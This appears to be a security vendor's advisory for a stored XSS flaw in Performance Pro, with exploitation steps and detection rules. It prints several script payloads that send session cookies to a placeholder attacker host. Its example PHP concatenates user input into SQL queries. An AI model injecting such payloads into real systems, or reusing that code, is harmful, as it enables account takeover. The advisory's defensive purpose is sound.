CVE-2025-60934
Executive Summary
CVE-2025-60934 is a stored cross-site scripting (XSS) vulnerability affecting HR Performance Solutions Performance Pro v3.19.17. The vulnerability exists in the index.php component, specifically within the Employee Notes, title, and description parameters. An authenticated attacker with low privileges can inject arbitrary web scripts or HTML into these fields. When an administrator or other user views the affected page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The vendor has released a patched version, PP-Release-6.3.2.0. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the presence of a public description and the nature of stored XSS make this a significant risk for organizations using the vulnerable version.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary enterprise application. The risk is limited to direct deployments of Performance Pro.
CVSS Breakdown & Threat Level
CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – An attacker needs a valid user account with low privileges.
- User Interaction (UI): Required – The victim must view the page containing the malicious payload.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., the victim's browser).
- Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, stored XSS in an HR application can lead to serious data breaches and lateral movement within an organization.
Deep Dive & Mechanics
The vulnerability is a classic stored cross-site scripting (XSS) flaw. The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in a web page.
Affected Parameters:
Employee Notes(likely a textarea or input field)title(likely a text input)description(likely a textarea)
Attack Flow:
- An authenticated user (e.g., an employee or manager) navigates to a page in
index.phpthat allows editing of employee notes, titles, or descriptions. - The attacker injects a malicious payload into one of these fields, such as:
or a more sophisticated payload:<script>alert('XSS')</script><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - The application stores this payload in the database without proper encoding or sanitization.
- When an administrator or another user views the affected employee record, the payload is rendered in their browser.
- The victim's browser executes the malicious script, which can steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: Lack of output encoding and input validation. The application likely uses $_POST or $_GET parameters directly in SQL queries and then outputs the data without using htmlspecialchars() or similar functions.
Vulnerable vs. Patched Code
Vulnerable Code (v3.19.17):
// index.php (simplified)
$notes = $_POST['employee_notes'];
$sql = "UPDATE employees SET notes = '$notes' WHERE id = $emp_id";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<div>" . $row['notes'] . "</div>";
Patched Code (PP-Release-6.3.2.0):
// index.php (simplified)
$notes = mysqli_real_escape_string($conn, $_POST['employee_notes']);
$sql = "UPDATE employees SET notes = '$notes' WHERE id = $emp_id";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<div>" . htmlspecialchars($row['notes'], ENT_QUOTES, 'UTF-8') . "</div>";
The patched version uses htmlspecialchars() to encode HTML entities, preventing script execution. Input validation (e.g., stripping <script> tags) may also be implemented.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install Performance Pro v3.19.17 on a local server (e.g., XAMPP, WAMP, or a Docker container).
- Create a low-privileged user account.
- Log in and navigate to the employee management section.
Exploitation Steps:
- Inject a payload into the Employee Notes field:
<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script> - Save the record.
- As an administrator, view the same employee record.
- The administrator's browser sends a request to
attacker.comwith their session cookie.
Advanced Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal?cookie=' + document.cookie, true);
xhr.send();
</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual characters in Employee Notes, title, and description fields (e.g.,
<script>,<img onerror=,javascript:). - Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search logs for requests containing
employee_notes,title, ordescriptionparameters with HTML tags. - Review database entries for stored XSS payloads.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the application server.
- Requests containing
document.cookieorfetchin the query string.
Host IOCs:
- Database entries in the
employeestable (or similar) containing<script>tags or event handlers likeonerror,onload,onmouseover. - Web server logs showing
POSTrequests toindex.phpwith parameters containing HTML/JavaScript.
File IOCs:
- Modified application files (unlikely, as this is stored XSS, not file upload).
Detection Engineering
YARA Rule
rule Detect_Stored_XSS_Payloads {
meta:
description = "Detects stored XSS payloads in database dumps or logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-60934"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /<[^>]+on\w+\s*=[^>]*>/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Performance Pro Employee Notes
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Performance Pro application
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/index.php'
cs-uri-query:
- '*employee_notes*'
- '*title*'
- '*description*'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in notes (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-60934 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php"; http_uri; content:"employee_notes"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade to Performance Pro PP-Release-6.3.2.0 or later.
- If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block requests containing
<script>or event handlers in the affected parameters. - Review and sanitize existing database entries for stored XSS payloads.
Long-Term Fixes:
- Apply output encoding (
htmlspecialchars()) to all user-supplied data before rendering. - Implement input validation to reject or sanitize HTML/JavaScript.
- Use a Content Security Policy (CSP) to restrict script execution.
- Conduct regular security audits and penetration testing.
Workarounds:
- Disable the affected functionality (Employee Notes, title, description fields) if not critical.
- Restrict access to the application to trusted networks only.
Valters IT
Securing Your Digital Frontier